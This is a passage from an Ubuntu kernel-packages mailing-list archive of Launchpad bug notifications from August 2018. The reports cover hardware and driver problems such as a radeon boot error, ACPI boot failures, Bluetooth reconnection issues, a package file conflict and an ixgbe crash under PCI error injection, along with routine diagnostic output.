  xserver.video_driver: nouveau

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788166/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788245] [NEW] [radeon] bug in the bootin of ubunut

2018-08-21 Thread Launchpad Bug Tracker
You have been subscribed to a public bug:

[Firmware Bug]: cpu 0, invalid threshol interrupt offset 1 for blank, block 0 
(MSR0143=0XD010)
[DRM:hwss_wait_for_blank_complete [amdgpu]] *ERROR* DC: failed to blank crtc!

ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: xorg 1:7.7+19ubuntu7.1
Uname: Linux 4.17.0-041700-generic x86_64
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
CompositorRunning: None
CurrentDesktop: ubuntu:GNOME
Date: Tue Aug 21 11:39:34 2018
DistUpgraded: Fresh install
DistroCodename: bionic
DistroVariant: ubuntu
GraphicsCard:
 Advanced Micro Devices, Inc. [AMD/ATI] Device [1002:98e4] (rev d4) (prog-if 00 
[VGA controller])
   Subsystem: Hewlett-Packard Company Device [103c:8324]
InstallationDate: Installed on 2018-07-23 (28 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
MachineType: Hewlett-Packard HP 245 G6 Notebook PC
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.17.0-041700-generic 
root=UUID=4b6c470e-c369-48f8-9fef-f65af5ba0d88 ro quiet splash vt.handoff=1
SourcePackage: xorg
Symptom: display
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 03/12/2018
dmi.bios.vendor: American Megatrends Inc.
dmi.bios.version: F.22
dmi.board.asset.tag: Base Board Asset Tag
dmi.board.name: 8324
dmi.board.vendor: Hewlett-Packard
dmi.board.version: 22.25
dmi.chassis.type: 10
dmi.chassis.vendor: Hewlett-Packard
dmi.chassis.version: Chassis Version
dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrF.22:bd03/12/2018:svnHewlett-Packard:pnHP245G6NotebookPC:pvr:rvnHewlett-Packard:rn8324:rvr22.25:cvnHewlett-Packard:ct10:cvrChassisVersion:
dmi.product.family: 103C_5336AN HP 200
dmi.product.name: HP 245 G6 Notebook PC
dmi.sys.vendor: Hewlett-Packard
version.compiz: compiz N/A
version.libdrm2: libdrm2 2.4.93+git1808171830.f31fd5~oibaf~b
version.libgl1-mesa-dri: libgl1-mesa-dri 18.3~git1808170730.de3b34~oibaf~b
version.libgl1-mesa-glx: libgl1-mesa-glx 18.3~git1808170730.de3b34~oibaf~b
version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4
version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
version.xserver-xorg-video-ati: xserver-xorg-video-ati 
1:18.0.99+git1808200734.60cd28~oibaf~b
version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git1807201025.3d3950~oibaf~b
version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 
1:1.0.15+git1807201019.ac8f7b~oibaf~b

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 amdgpu apport-bug bionic performance radeon third-party-packages 
ubuntu
-- 
[radeon] bug in the bootin of ubunut
https://bugs.launchpad.net/bugs/1788245
You received this bug notification because you are a member of Kernel Packages, 
which is subscribed to linux in Ubuntu.

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1781316] Re: change front mic location for more lenovo m7/8/9xx machines

2018-08-21 Thread Hui Wang
** Changed in: linux (Ubuntu)
   Status: Incomplete => Fix Committed

** Changed in: hwe-next
   Status: New => Fix Committed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781316

Title:
  change front mic location for more lenovo m7/8/9xx machines

Status in HWE Next:
  Fix Committed
Status in linux package in Ubuntu:
  Fix Committed
Status in linux source package in Bionic:
  Fix Committed

Bug description:
  
  BugLink: https://bugs.launchpad.net/bugs/1781316

  Hope it can catch the last SRU of artful kernel and OEM-X kernel, since the 
oem
  project needs them to be merged to OEM-X.

  [Impact]
  Recently lenovo project received a couple of lenovo machines, they all have
  two mics on front panel, so all these machines need to apply a fixup, 
otherwise
  one of the mics can't work.

  [Fix]
  apply a fixup from upstream driver, all these mics can work normally.

  [Test Case]
  plug mics or headset in front mic jacks, the mic/headset-mic can be detected
  and can record sound normally.

  [Regression Potential]
  Very low, the changes are specific to lenovo m7/8/9xx machines with the same
  subsystem id or the same init pin cfg table.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1781316/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1748565] Re: Kernel regularly logs: Bluetooth: hci0: last event is not cmd complete (0x0f)

2018-08-21 Thread Daniel van Vugt
This bug is not related to playback failures. Please log a NEW bug for
that by running:

  ubuntu-bug bluez

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1748565

Title:
  Kernel regularly logs: Bluetooth: hci0: last event is not cmd complete
  (0x0f)

Status in Linux:
  Unknown
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hello,

  dmesg:
  [ 3363.056494] Bluetooth: hci0: last event is not cmd complete (0x0f)

  Regards,
  --
  Cristian

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-9-generic 4.15.0-9.10
  ProcVersionSignature: Ubuntu 4.15.0-9.10-generic 4.15.2
  Uname: Linux 4.15.0-9-generic x86_64
  ApportVersion: 2.20.8-0ubuntu8
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  caravena   1811 F pulseaudio
  CurrentDesktop: ubuntu-communitheme:ubuntu:GNOME
  Date: Fri Feb  9 20:35:29 2018
  InstallationDate: Installed on 2017-10-13 (119 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170926)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 530U3C/530U4C
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-4.15.0-9-generic 
root=UUID=707d0f89-4b1d-4432-9d50-6058dc4c1ee9 ro rootflags=subvol=@ quiet 
splash vt.handoff=1
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-9-generic N/A
   linux-backports-modules-4.15.0-9-generic  N/A
   linux-firmware1.170
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/15/2013
  dmi.bios.vendor: Phoenix Technologies Ltd.
  dmi.bios.version: P14AAJ
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: SAMSUNG_NP1234567890
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: FAB1
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLtd.:bvrP14AAJ:bd04/15/2013:svnSAMSUNGELECTRONICSCO.,LTD.:pn530U3C/530U4C:pvr0.1:rvnSAMSUNGELECTRONICSCO.,LTD.:rnSAMSUNG_NP1234567890:rvrFAB1:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvr0.1:
  dmi.product.family: ChiefRiver System
  dmi.product.name: 530U3C/530U4C
  dmi.product.version: 0.1
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/linux/+bug/1748565/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788320] [NEW] After upgrading from 4.4.0 to 4.15.0 system doesn't boot - ACPI issue

2018-08-21 Thread nomad
Public bug reported:

I'm using Xubuntu in an old system, I'm concerned because other users
looking for a light OS for their old PC wouldn't be able to install or
boot the 18.04 version and above.

With kernel 4.4.0 the system boots without problem (xubuntu 16.04),
after upgrading to kernel 4.15 the system doesn't boot anymore (18.04).
This issue was present when testing kernel 4.13 too.

The install crashes with an error: BIOS bug:8254 timer not connected to
io-apic error on.

Adding any of these commands to the boot allows the system to load
properly:

-acpi=off
-pci=noacpi
-acpi=noirq

I attach the info related.

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: New

** Attachment added: "files.tar.gz"
   
https://bugs.launchpad.net/bugs/1788320/+attachment/5178960/+files/files.tar.gz

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788320

Title:
  After upgrading from 4.4.0 to 4.15.0 system doesn't boot - ACPI issue

Status in linux package in Ubuntu:
  New

Bug description:
  I'm using Xubuntu in an old system, I'm concerned because other users
  looking for a light OS for their old PC wouldn't be able to install or
  boot the 18.04 version and above.

  With kernel 4.4.0 the system boots without problem (xubuntu 16.04),
  after upgrading to kernel 4.15 the system doesn't boot anymore
  (18.04). This issue was present when testing kernel 4.13 too.

  The install crashes with an error: BIOS bug:8254 timer not connected
  to io-apic error on.

  Adding any of these commands to the boot allows the system to load
  properly:

  -acpi=off
  -pci=noacpi
  -acpi=noirq

  I attach the info related.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788320/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787571] Re: Bluetooth keyboard won't connect again after connection was lost

2018-08-21 Thread Daniel van Vugt
You may also wish to test version 5.50 in case it solves the problem:

https://launchpad.net/~bluetooth/+archive/ubuntu/bluez

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1787571

Title:
  Bluetooth keyboard won't connect again after connection was lost

Status in bluez package in Ubuntu:
  Incomplete

Bug description:
  After my Bluetooth keyboard from Logitech (K380) looses its
  connection, either after a Ubuntu restart or by manually turning the
  keyboard off an on, it won't connect any more. Additionally, while the
  keyboard tries to reestablish the connection, my Logitech Bluetooth
  mouse (M590) looses its connection too! After that I can't establish
  any Bluetooth connection at all. Only a "sudo service bluetooth
  restart" helps.

  Then my mouse reconnects easily, if it's not disrupted by my keyboard.
  So I'm only possible to use my mouse and not the keyboard, because
  while it tries to reconnect, it kills the connection of my mouse and
  everything starts over again.

  I've also tried to reconnect the keyboard through "bluetoothctl", but
  without success:

  $ bluetoothctl paired-devices
  Device 34:88:5D:42:7E:03 Keyboard K380
  Device FA:6A:9E:DA:2B:30 M585/M590

  $ bluetoothctl connect 34:88:5D:42:7E:03
  Attempting to connect to 34:88:5D:42:7E:03
  Failed to connect: org.bluez.Error.Failed

  
  Both devices are "trusted":

  $ bluetoothctl info 34:88:5D:42:7E:03
  Device 34:88:5D:42:7E:03 (public)
Name: Keyboard K380
Alias: Keyboard K380
Class: 0x2540
Icon: input-keyboard
Paired: yes
Trusted: yes
Blocked: no
Connected: no
LegacyPairing: no
UUID: Service Discovery Serve.. (1000--1000-8000-00805f9b34fb)
UUID: Human Interface Device... (1124--1000-8000-00805f9b34fb)
UUID: PnP Information   (1200--1000-8000-00805f9b34fb)
Modalias: usb:v046DpB342d4200

  $ bluetoothctl info FA:6A:9E:DA:2B:30
  Device FA:6A:9E:DA:2B:30 (random)
Name: M585/M590
Alias: M585/M590
Appearance: 0x03c2
Icon: input-mouse
Paired: yes
Trusted: yes
Blocked: no
Connected: yes
LegacyPairing: no
UUID: Generic Access Profile(1800--1000-8000-00805f9b34fb)
UUID: Generic Attribute Profile (1801--1000-8000-00805f9b34fb)
UUID: Device Information(180a--1000-8000-00805f9b34fb)
UUID: Battery Service   (180f--1000-8000-00805f9b34fb)
UUID: Human Interface Device(1812--1000-8000-00805f9b34fb)
UUID: Vendor specific   (0001--1000-8000-011f246d)
Modalias: usb:v046DpB01Bd0007

  $ bluetoothctl show
  Controller 2C:6F:C9:44:57:E0 (public)
Name: mir
Alias: mir
Class: 0x000c010c
Powered: yes
Discoverable: yes
Pairable: yes
UUID: Headset AG(1112--1000-8000-00805f9b34fb)
UUID: Generic Attribute Profile (1801--1000-8000-00805f9b34fb)
UUID: A/V Remote Control(110e--1000-8000-00805f9b34fb)
UUID: Generic Access Profile(1800--1000-8000-00805f9b34fb)
UUID: PnP Information   (1200--1000-8000-00805f9b34fb)
UUID: A/V Remote Control Target (110c--1000-8000-00805f9b34fb)
UUID: Audio Source  (110a--1000-8000-00805f9b34fb)
UUID: Audio Sink(110b--1000-8000-00805f9b34fb)
UUID: Headset   (1108--1000-8000-00805f9b34fb)
Modalias: usb:v1D6Bp0246d0532
Discovering: no

  
  The only way to use my Bluetooth keyboard is to pair it again, f.i. by doing:

  bluetoothctl
  remove XX:XX:XX:XX:XX:XX
  exit
  sudo service bluetooth restart
  bluetoothctl
  scan on
  trust XX:XX:XX:XX:XX:XX
  pair XX:XX:XX:XX:XX:XX
  connect XX:XX:XX:XX:XX:XX 
  exit

  
  This keyboard works flawlessly with my Android device and also on a MacBook 
Pro with macOS. It also worked well with another notebook (Toshiba Satellite 
Pro C850-1HL) from 17.04 to 18.04, which I don't own anymore.

  I've updated my BlueZ stack with ppa:bluetooth/bluez, but reverted
  back by purging it, because it didn't help.

  I also have some debug info FROM LAST WEEK. This was collected after a
  system restart and while the keyboard tried to reestablish the
  connection. At this time my BlueZ packages were from the PPA mentioned
  above:

  $ dpkg -l | grep blue
  ii  bluez  5.50-0ubuntu0ppa1  
  amd64Bluetooth tools and daemons
  ii  bluez-cups 5.50-0ubuntu0ppa1  
  amd64Bluetooth printer driver for CUPS
  ii  bluez-obexd

[Kernel-packages] [Bug 1692448] Re: Bluetooth speaker fails to reconnect when turned on (but it tries)

2018-08-21 Thread Daniel van Vugt
** Tags added: bionic cosmic

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1692448

Title:
  Bluetooth speaker fails to reconnect when turned on (but it tries)

Status in bluez package in Ubuntu:
  New

Bug description:
  Bluetooth speaker fails to reconnect when turned on. Watching the
  Bluetooth icon in the Unity panel I can see it is trying (B icon
  briefly gets the expected padlock and then loses it). The speaker
  doesn't reconnect then unless initiated by the laptop (set Connection
  = ON in the panel).

  Note this bug is only about the Bluetooth connection, and not about
  audio problems (of which there are a few).

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: bluez 5.37-0ubuntu5
  ProcVersionSignature: Ubuntu 4.8.0-52.55~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-52-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  Date: Mon May 22 16:28:37 2017
  InstallationDate: Installed on 2017-05-19 (2 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  InterestingModules: rfcomm bnep btusb bluetooth
  MachineType: LENOVO 20CM0010AU
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-52-generic.efi.signed 
root=UUID=ae0f1ee2-ca1c-4a64-985f-b27f9a8c0e50 ro quiet splash vt.handoff=7
  SourcePackage: bluez
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/05/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: N10ET45W (1.24 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20CM0010AU
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0E50510 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrN10ET45W(1.24):bd09/05/2016:svnLENOVO:pn20CM0010AU:pvrThinkPadX250:rvnLENOVO:rn20CM0010AU:rvrSDK0E50510WIN:cvnLENOVO:ct10:cvrNone:
  dmi.product.name: 20CM0010AU
  dmi.product.version: ThinkPad X250
  dmi.sys.vendor: LENOVO
  hciconfig:
   hci0:Type: BR/EDR  Bus: USB
    BD Address: 34:02:86:EE:0F:47  ACL MTU: 1021:5  SCO MTU: 96:6
    UP RUNNING
    RX bytes:1298997 acl:147 sco:25046 events:1846 errors:0
    TX bytes:1750802 acl:1411 sco:18166 commands:299 errors:0

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1692448/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788320] Missing required logs.

2018-08-21 Thread Ubuntu Kernel Bot
This bug is missing log files that will aid in diagnosing the problem.
While running an Ubuntu kernel (not a mainline or third-party kernel)
please enter the following command in a terminal window:

apport-collect 1788320

and then change the status of the bug to 'Confirmed'.

If, due to the nature of the issue you have encountered, you are unable
to run this command, please add a comment stating that fact and change
the bug status to 'Confirmed'.

This change has been made by an automated script, maintained by the
Ubuntu Kernel Team.

** Changed in: linux (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788320

Title:
  After upgrading from 4.4.0 to 4.15.0 system doesn't boot - ACPI issue

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  I'm using Xubuntu in an old system, I'm concerned because other users
  looking for a light OS for their old PC wouldn't be able to install or
  boot the 18.04 version and above.

  With kernel 4.4.0 the system boots without problem (xubuntu 16.04),
  after upgrading to kernel 4.15 the system doesn't boot anymore
  (18.04). This issue was present when testing kernel 4.13 too.

  The install crashes with an error: BIOS bug:8254 timer not connected
  to io-apic error on.

  Adding any of these commands to the boot allows the system to load
  properly:

  -acpi=off
  -pci=noacpi
  -acpi=noirq

  I attach the info related.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788320/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787932] Re: package linux-image-4.4.0-133-generic (not installed) failed to install/upgrade: impossible de copier les données extraites pour « ./boot/vmlinuz-4.4.0-133-generic 

2018-08-21 Thread Alex Murray
The /boot partition is full (see Df.txt attached in comment #1)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787932

Title:
  package linux-image-4.4.0-133-generic (not installed) failed to
  install/upgrade: impossible de copier les données extraites pour «
  ./boot/vmlinuz-4.4.0-133-generic » vers «
  /boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun
  espace disponible sur le périphérique)

Status in linux package in Ubuntu:
  Invalid

Bug description:
  message : espace insufisant

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-133-generic (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-131.157-generic 4.4.134
  Uname: Linux 4.4.0-131-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  amraoui052   1608 F pulseaudio
   /dev/snd/controlC1:  amraoui052   1608 F pulseaudio
  Date: Thu Aug 16 20:03:27 2018
  ErrorMessage: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  HibernationDevice: RESUME=UUID=d3976117-ce7f-4bd4-b7a3-a244cf609245
  InstallationDate: Installed on 2018-03-27 (145 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  MachineType: ASUSTeK Computer INC. CM6731_CM6431_CM6331-8
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-131-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.18
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
  SourcePackage: linux
  Title: package linux-image-4.4.0-133-generic (not installed) failed to 
install/upgrade: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/05/2012
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 0501
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: CM6731_CM6431_CM6331
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: Rev X.0x
  dmi.chassis.asset.tag: Asset-1234567890
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr0501:bd09/05/2012:svnASUSTeKComputerINC.:pnCM6731_CM6431_CM6331-8:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnCM6731_CM6431_CM6331:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.name: CM6731_CM6431_CM6331-8
  dmi.product.version: System Version
  dmi.sys.vendor: ASUSTeK Computer INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787932/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788314] [NEW] Conflict between zfs-linux and s390-tools

2018-08-21 Thread Stéphane Graber
Public bug reported:

Not sure which of the two needs fixing, but there's a path conflict
between zfs-linux and s390-tools which effectively prevents installing
ZFS on s390x in cosmic.

(Reading database ... 83042 files and directories currently installed.)
Preparing to unpack .../zfsutils-linux_0.7.9-3ubuntu5_s390x.deb ...
Unpacking zfsutils-linux (0.7.9-3ubuntu5) ...
dpkg: error processing archive 
/var/cache/apt/archives/zfsutils-linux_0.7.9-3ubuntu5_s390x.deb (--unpack):
 trying to overwrite '/usr/share/initramfs-tools/hooks/zdev', which is also in 
package s390-tools 2.6.0-0ubuntu2
dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
Errors were encountered while processing:
 /var/cache/apt/archives/zfsutils-linux_0.7.9-3ubuntu5_s390x.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)
Exit request sent.

** Affects: s390-tools (Ubuntu)
 Importance: High
 Status: Triaged

** Affects: zfs-linux (Ubuntu)
 Importance: High
 Status: Triaged

** Also affects: s390-tools (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: s390-tools (Ubuntu)
   Status: New => Triaged

** Changed in: zfs-linux (Ubuntu)
   Status: New => Triaged

** Changed in: s390-tools (Ubuntu)
   Importance: Undecided => High

** Changed in: zfs-linux (Ubuntu)
   Importance: Undecided => High

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to zfs-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788314

Title:
  Conflict between zfs-linux and s390-tools

Status in s390-tools package in Ubuntu:
  Triaged
Status in zfs-linux package in Ubuntu:
  Triaged

Bug description:
  Not sure which of the two needs fixing, but there's a path conflict
  between zfs-linux and s390-tools which effectively prevents installing
  ZFS on s390x in cosmic.

  (Reading database ... 83042 files and directories currently installed.)
  Preparing to unpack .../zfsutils-linux_0.7.9-3ubuntu5_s390x.deb ...
  Unpacking zfsutils-linux (0.7.9-3ubuntu5) ...
  dpkg: error processing archive 
/var/cache/apt/archives/zfsutils-linux_0.7.9-3ubuntu5_s390x.deb (--unpack):
   trying to overwrite '/usr/share/initramfs-tools/hooks/zdev', which is also 
in package s390-tools 2.6.0-0ubuntu2
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)
  Errors were encountered while processing:
   /var/cache/apt/archives/zfsutils-linux_0.7.9-3ubuntu5_s390x.deb
  E: Sub-process /usr/bin/dpkg returned an error code (1)
  Exit request sent.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/s390-tools/+bug/1788314/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1776389] Comment bridged from LTC Bugzilla

2018-08-21 Thread bugproxy
--- Comment From maur...@br.ibm.com 2018-08-21 18:58 EDT---
(In reply to comment #20)
> This bug is awaiting verification that the kernel in -proposed solves the
> problem. Please test the kernel and update this bug with the results. If the
> problem is solved, change the tag 'verification-needed-bionic' to
> 'verification-done-bionic'. If the problem still exists, change the tag
> 'verification-needed-bionic' to 'verification-failed-bionic'.
>
> If verification is not done by 5 working days from today, this fix will be
> dropped from the source code, and this bug will be closed.
>
> See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to
> enable and use -proposed. Thank you!

Sorry for the delay here, unfortunately I was away and our testers
couldn't verify this before.

I've verified the fix in Bionic's proposed 4.15.0-33.36, is this the
correct kernel to verify? If so I'll mark it as verified accordingly.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1776389

Title:
  [Ubuntu 1804][boston][ixgbe] EEH causes kernel BUG at /build/linux-
  jWa1Fv/linux-4.15.0/drivers/pci/msi.c:352 (i2S)

Status in The Ubuntu-power-systems project:
  Fix Committed
Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Bionic:
  Fix Committed

Bug description:
  == Comment: #0 - ABDUL HALEEM <> - 2018-02-16 08:26:15 ==
  Problem:
  
  Injecting error multiple times causes kernel crash.

  echo 0x0:1:4:0x60800:0xfff8 >
  /sys/kernel/debug/powerpc/PCI/err_injct

  EEH: PHB#0 failure detected, location: N/A
  EEH: PHB#0-PE#0 has failed 6 times in the
  last hour and has been permanently disabled.
  EEH: Unable to recover from failure from PHB#0-PE#0.
  Please try reseating or replacing it
  ixgbe :01:00.1: Adapter removed
  kernel BUG at /build/linux-jWa1Fv/linux-4.15.0/drivers/pci/msi.c:352!
  Oops: Exception in kernel mode, sig: 5 [#1]
  LE SMP NR_CPUS=2048 NUMA PowerNV
  Modules linked in: rpcsec_gss_krb5 nfsv4 nfs fscache joydev input_leds 
mac_hid idt_89hpesx ofpart ipmi_powernv cmdlinepart ipmi_devintf 
ipmi_msghandler at24 powernv_flash mtd opal_prd ibmpowernv uio_pdrv_genirq 
vmx_crypto uio sch_fq_codel nfsd auth_rpcgss nfs_acl lockd grace sunrpc ib_iser 
rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi 
scsi_transport_iscsi ip_tables x_tables autofs4 btrfs zstd_compress raid10 
raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq 
libcrc32c raid1 raid0 multipath linear ses enclosure scsi_transport_sas qla2xxx 
ast hid_generic ttm drm_kms_helper ixgbe syscopyarea usbhid igb sysfillrect 
sysimgblt nvme_fc fb_sys_fops hid nvme_fabrics crct10dif_vpmsum crc32c_vpmsum 
drm i40e scsi_transport_fc aacraid i2c_algo_bit mdio
  CPU: 28 PID: 972 Comm: eehd Not tainted 4.15.0-10-generic #11-Ubuntu
  NIP:  c077f080 LR: c077f070 CTR: c00aac30
  REGS: c00ff1deb5a0 TRAP: 0700   Not tainted  (4.15.0-10-generic)
  MSR:  90029033   CR: 24002822  XER: 2004
  CFAR: c018bddc SOFTE: 1
  GPR00: c077f070 c00ff1deb820 c16ea600 c00fbb5fac00
  GPR04: 02c5   
  GPR08: c00fbb5fac00 0001 c00fec617a00 c00fdfd86488
  GPR12: 0040 c7a33400 c0138be8 c00ff90ec1c0
  GPR16:    
  GPR20:    c0f48d10
  GPR24: c0f48ce8 c000200e4fcf4000 c00fc6900b18 c000200e4fcf4000
  GPR28: c000200e4fcf4288 c00810624480  c00fbb633ea0
  NIP [c077f080] free_msi_irqs+0xa0/0x260
  LR [c077f070] free_msi_irqs+0x90/0x260
  Call Trace:
  [c00ff1deb820] [c077f070] free_msi_irqs+0x90/0x260 (unreliable)
  [c00ff1deb880] [c077fa68] pci_disable_msix+0x128/0x170
  [c00ff1deb8c0] [c0081060b5c8] 
ixgbe_reset_interrupt_capability+0x90/0xd0 [ixgbe]
  [c00ff1deb8f0] [c008105d52f4] ixgbe_remove+0xec/0x240 [ixgbe]
  [c00ff1deb990] [c07670ec] pci_device_remove+0x6c/0x110
